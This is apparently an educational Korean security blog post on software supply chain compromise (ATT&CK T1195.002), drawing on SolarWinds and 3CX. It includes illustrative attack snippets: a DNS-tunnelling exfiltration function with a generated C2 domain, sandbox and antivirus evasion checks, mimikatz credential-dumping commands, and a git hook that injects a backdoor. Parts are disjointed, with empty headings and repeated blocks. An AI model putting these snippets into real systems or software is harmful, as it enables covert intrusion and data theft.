소프트웨어 공급망 침해로 60만 기업이 피해를 입은 이유 | T1195.002
3CX 공급망 공격으로 60만 기업 피해. CCleaner 백도어, APT41 서명 위조까지. 신뢰받는 소프트웨어가 악성코드 유포 통로가 되는 원리를 확인하세요.
제목: 소프트웨어 공급망 침해로 60만 기업이 피해를 입은 이유 | T1195.002
SolarWinds 공격 하나로 약 18,000개 조직이 피해를 입었다. 2019년부터 시작된 이 공격은 단일 소프트웨어 업데이트를 통해 미국 정부 기관과 Fortune 500 기업들을 동시에 침투시켰다. 이것이 바로 T1195.002 소프트웨어 공급망 침해의 파괴력이다.
전통적인 보안 경계선이 견고해질수록, 공격자들은 더 정교한 경로를 찾아낸다. 직접적인 침투가 어려워지자, 그들은 신뢰받는 소프트웨어 공급업체를 먼저 장악한 뒤 정당한 업데이트 경로를 통해 수천 개 조직으로 퍼져나가는 전략을 택했다. 한 번의 성공적인 공급망 침해로 수년간 지속되는 대규모 첩보 활동이 가능해진 것이다.
T1195.002는 신뢰받는 소프트웨어 배포 채널을 악용하여 대규모 조직을 동시 감염시키는 공격 기법이다.
T1195.002 - Compromise Software Supply Chain: Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.
위 정의에 따르면, T1195.002는 최종 소비자가 받기 전 단계에서 애플리케이션 소프트웨어를 조작하는 공격이다. 이는 응용 프로그램 소스 코드 조작, 업데이트/배포 메커니즘 조작, 또는 컴파일된 릴리스를 수정된 버전으로 대체하는 방식으로 수행된다.
T1195.002를 구성하는 핵심 요소들은 다음과 같다:
| 용어 | 설명 |
|---|---|
| T1195.002 소프트웨어 공급망 | 공격 대상: 완성된 소프트웨어 / 침투 시점: 배포 직전/과정 / 영향 범위: 소프트웨어 사용자 전체 |
| T1195.001 의존성 공급망 | 공격 대상: 라이브러리/패키지 / 침투 시점: 개발 과정 / 영향 범위: 라이브러리 사용 프로젝트 |
| T1195.003 하드웨어 공급망 | 공격 대상: 물리적 장비 / 침투 시점: 제조 과정 / 영향 범위: 하드웨어 사용자 |
| 워터링 홀 공격 | 공격 대상: 웹사이트 / 침투 시점: 접속 시점 / 영향 범위: 특정 사이트 방문자 |
T1195.002 공격은 다음과 같은 단계로 진행된다:
공격자는 먼저 타겟 소프트웨어 공급업체의 개발 환경에 침투한다. 주요 침투 경로는 다음과 같다:
개발자 워크스테이션 침투
공격자는 스피어 피싱 이메일을 통해 개발자의 개인 워크스테이션을 감염시킨다. 이때 사용되는 악성 페이로드는 대부분 PowerShell을 통해 실행된다:
# 스피어 피싱으로 개발자 PC 감염
powershell -enc <base64_encoded_payload>
# 개발 환경 정찰
Get-Process | Where-Object {$_.ProcessName -like "*visual*"}
Get-Process | Where-Object {$_.ProcessName -like "*git*"}
개발자 워크스테이션은 일반적으로 소스코드 저장소와 빌드 시스템에 대한 접근 권한을 가지고 있어 공격자에게 매력적인 진입점이 된다. 특히 개발자들은 업무 특성상 다양한 도구와 라이브러리를 설치하는 경우가 많아 보안 정책이 상대적으로 느슨하게 적용되는 경우가 많다.
CI/CD 파이프라인 장악
개발자 워크스테이션 침투 후, 공격자는 지속적 통합/배포(CI/CD) 시스템으로 이동한다:
CI/CD 시스템은 자동화된 빌드 프로세스를 통해 소스코드를 컴파일하고 배포 가능한 형태로 패키징한다. 공격자가 이 과정에 악성코드를 삽입하면, 모든 빌드 결과물에 자동으로 백도어가 포함된다.
공급업체 환경을 장악한 후, 공격자는 다음 방식으로 악성코드를 삽입한다:
소스 코드 직접 조작
공격자는 기존 소스코드에 은밀하게 악성 코드를 삽입한다. SolarWinds SUNBURST의 경우처럼, 정상적인 기능처럼 보이는 코드 영역에 백도어를 숨긴다:
// 정상적인 업데이트 확인 함수에 백도어 추가
public void CheckForUpdates()
{
// 정상 업데이트 로직
var updateInfo = GetUpdateInformation();
// 악성코드: 특정 조건에서만 실행되도록 은밀하게 삽입
if (DateTime.Now.DayOfYear > 60) // 3월 이후에만 활성화
{
StartBackdoorConnection(); // 은밀한 백도어 연결
}
ProcessUpdates(updateInfo);
}
이런 방식의 코드 삽입은 코드 리뷰 과정에서도 탐지하기 어렵다. 특히 업데이트 관련 코드나 시스템 모니터링 코드에 삽입될 경우, 정당한 기능의 일부로 보이기 때문이다.
빌드 프로세스 조작
더 정교한 공격자들은 소스코드를 직접 수정하지 않고 빌드 과정에서 악성코드를 삽입한다:
# CI/CD 파이프라인에서 빌드 시점에 악성코드 삽입
build:
script:
- dotnet build --configuration Release
- ./inject_payload.sh # 악성 스크립트 실행
- dotnet pack
이 방법의 장점은 소스코드 자체는 깨끗하게 유지되면서 최종 바이너리에만 악성코드가 포함된다는 점이다. 소스코드 감사를 통해서는 악성 활동을 발견할 수 없어 탐지가 더욱 어려워진다.
컴파일 후 바이너리 조작가장 은밀한 방법은 정상적으로 컴파일된 바이너리를 배포 직전에 조작하는 것이다. 이때 공격자는:
변조된 소프트웨어는 공급업체의 정당한 코드 서명 인증서로 서명되어 배포된다:
# 공급업체의 정당한 인증서로 서명
signtool sign /f "CompanyCodeSigning.p12" /p "password" /t http://timestamp.server.com "TrojanizedSoftware.exe"
# 서명 확인 (정상적으로 보임)
Get-AuthenticodeSignature "TrojanizedSoftware.exe"
# Status: Valid
# SignerCertificate: CN=TrustedSoftwareCompany
코드 서명 인증서는 소프트웨어의 무결성과 출처를 보장하는 중요한 보안 메커니즘이다. 공급업체가 침해당하면 공격자는 이 신뢰받는 인증서를 사용하여 악성 소프트웨어를 정당한 것처럼 위장할 수 있다.
대부분의 보안 솔루션과 운영체제는 신뢰받는 인증서로 서명된 소프트웨어에 대해서는 추가 검사를 생략하거나 경고를 표시하지 않는다. 이는 공격자에게 강력한 우회 메커니즘을 제공한다.
변조된 소프트웨어는 기존 자동 업데이트 메커니즘을 통해 수천 개 조직으로 동시 배포된다:
GET /updates/latest HTTP/1.1
Host: updates.trustedsoftware.com
User-Agent: TrustedSoftware/1.2.3
HTTP/1.1 200 OK
Content-Type: application/json
{
"version": "1.2.4",
"download_url": "https://cdn.trustedsoftware.com/releases/v1.2.4.exe",
"signature": "30820122300d06092a864886f70d01010105000382010f003082010a0282010100...",
"release_notes": "Bug fixes and performance improvements"
}
자동 업데이트 시스템은 현대 소프트웨어 배포의 핵심 요소다. 사용자나 관리자의 개입 없이도 최신 보안 패치와 기능 업데이트를 자동으로 설치한다. 그러나 이런 편의성은 공급망 공격에서 치명적인 약점이 된다.
공격자는 정당한 업데이트 서버를 통해 악성 소프트웨어를 배포하므로, 방화벽이나 프록시 같은 네트워크 보안 장비도 이를 차단하지 않는다. 오히려 보안 정책상 업데이트 트래픽은 우선순위가 높게 처리되는 경우가 많다.
설치된 악성 소프트웨어는 다음과 같이 백도어를 활성화한다:
// 도메인 생성 알고리즘(DGA)을 사용한 은밀한 C&C 통신
private string GenerateC2Domain()
{
var seed = DateTime.Now.ToString("yyyyMMdd");
var hash = ComputeHash(seed + "secretkey");
return $"{hash.Substring(0, 12)}.com";
}
// DNS 쿼리로 위장한 데이터 유출
private void ExfiltrateData(string data)
{
var encodedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(data));
var dnsQuery = $"{encodedData}.{GenerateC2Domain()}";
Dns.GetHostEntry(dnsQuery); // DNS 쿼리로 데이터 전송
}
지속성 확보 메커니즘
공급망 공격을 통해 설치된 백도어는 여러 방법으로 지속성을 확보한다:
은밀한 통신 채널
백도어는 탐지를 피하기 위해 정상적인 네트워크 트래픽으로 위장한다:
환경 인식 실행
정교한 공급망 공격은 실제 운영 환경에서만 활성화되도록 설계된다:
// 실제 기업 환경에서만 실행
if (!IsRealEnvironment())
return; // 샌드박스나 분석 환경에서는 비활성화
private bool IsRealEnvironment()
{
// 도메인 가입 상태, 사용자 수, 실행 시간 등으로 판단
return Environment.UserDomainName != Environment.MachineName
&& Environment.ProcessorCount > 2
&& GetRunningProcesses().Count > 50;
}
시간 지연 활성화
샌드박스나 동적 분석을 우회하기 위해 활성화 시점을 지연시킨다:
import time
import datetime
# 특정 날짜 이후에만 활성화 (샌드박스 우회)
activation_date = datetime.datetime(2024, 6, 1)
if datetime.datetime.now() < activation_date:
time.sleep(86400) # 24시간 대기
exit()
보안 솔루션 탐지 및 회피
대부분의 공급망 악성코드는 보안 제품의 존재를 확인하고 이를 회피한다:
// SUNBURST의 은밀한 활성화 조건
if (DateTime.UtcNow.CompareTo(new DateTime(2020, 2, 1)) < 0)
return; // 2020년 2월 이전에는 비활성화
// 보안 프로세스 탐지 시 자동 종료
string[] securityProcesses = {"cb", "crowdstrike", "cylance", "defender"};
if (IsSecurityProcessRunning(securityProcesses))
Environment.Exit(0);
공급망 공격이 강력한 이유는 신뢰의 전이(Trust Transference) 때문이다. 조직들이 공급업체를 신뢰하는 만큼, 업체에서 오는 모든 소프트웨어를 무조건 신뢰한다. 공격자는 이 신뢰 체인의 가장 상위 지점을 장악함으로써 최소 노력으로 최대 효과를 얻는다.
왜 공급망이 매력적인 공격 대상인가?
공격 메커니즘:
SolarWinds.Orion.Core.BusinessLayer.dll 파일에 SUNBURST 백도어 삽입기술적 정교함:
// SUNBURST의 은밀한 활성화 조건
if (DateTime.UtcNow.CompareTo(new DateTime(2020, 2, 1)) < 0)
return; // 2020년 2월 이전에는 비활성화
// 보안 프로세스 탐지 시 자동 종료
string[] securityProcesses = {"cb", "crowdstrike", "cylance", "defender"};
if (IsSecurityProcessRunning(securityProcesses))
Environment.Exit(0);
공격 체인:
출처: Sonatype Blog - 3CX Supply Chain Attack
공격 규모:
단계별 공격 기법:
# 개발자 대상 스피어 피싱
echo "VPN 인증서 갱신 필요" | mail -s "긴급: VPN 만료" dev@company.com
# 첨부파일: certificate_renewal.exe (실제로는 RAT)
2. **권한 상승**
```powershell
# 개발 서버 접근을 위한 자격증명 수집
sekurlsa::logonpasswords
sekurlsa::tickets /export
# Git hook을 통한 지속적 코드 삽입
echo '#!/bin/bash\n./inject_backdoor.sh' > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
### 탐지 우회 기법
**시간 지연 활성화:**
```python
import time
import datetime
# 특정 날짜 이후에만 활성화 (샌드박스 우회)
activation_date = datetime.datetime(2024, 6, 1)
if datetime.datetime.now() < activation_date:
time.sleep(86400) # 24시간 대기
exit()
환경 인식 기반 실행:
// 실제 기업 환경에서만 실행
if (!IsRealEnvironment())
return; // 샌드박스나 분석 환경에서는 비활성화
private bool IsRealEnvironment()
{
// 도메인 가입 상태, 사용자 수, 실행 시간 등으로 판단
return Environment.UserDomainName != Environment.MachineName
&& Environment.ProcessorCount > 2
&& GetRunningProcesses().Count > 50;
}
공급업체 관점:
개발 환경 격리
빌드 프로세스 보안
# 재현 가능한 빌드 환경
build:
image: "secure-build:latest"
script:
- verify-source-integrity.sh
- build-with-checksums.sh
- sign-and-verify.sh
**소비자 조직 관점:**
1. **공급업체 평가**
- 보안 인증(SOC 2, ISO 27001) 확인
- 소프트웨어 구성 분석(SCA) 도구 활용
- 써드파티 위험 관리 프로그램 운영
2. **런타임 모니터링**
```bash
# 소프트웨어 행동 이상 탐지
# 1. 예상치 못한 네트워크 연결 모니터링
netstat -tulpn | grep ESTABLISHED
# 2. 파일 시스템 변경 추적
auditctl -w /etc -p wa -k config_changes
# 3. 프로세스 실행 로깅
sysctl kernel.yama.ptrace_scope=1
T1195.002 소프트웨어 공급망 침해는 신뢰받는 소프트웨어 배포 채널을 악용하여 최소 노력으로 최대 피해를 입히는 정교한 공격 기법이다. SolarWinds, 3CX, MOVEit 사례에서 보듯이 단일 공급업체 침해로 수만 개 조직이 동시에 피해를 입을 수 있다.
이 공격의 핵심은 신뢰의 전이를 악용하는 것이다. 조직들이 공급업체를 신뢰하는 만큼 업체의 소프트웨어도 무조건 신뢰하게 되며, 공격자는 이 신뢰 체인의 최상위를 장악함으로써 대규모 침투를 달성한다.
관련하여 T1195.001 소프트웨어 의존성 공급망 침해: npm 생태계에 숨은 위협에서는 라이브러리 단위의 공급망 공격을, T1195 Supply Chain Compromise: 11개 APT가 사용하는 공급망 침해에서는 공급망 공격의 전체적인 분류를 다루고 있다.
AI 기반 코드 생성 도구가 새로운 공급망 공격 벡터가 될 가능성이 있다. 소프트웨어 BOM 기반 투명성 확보도 주목해야 할 과제다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.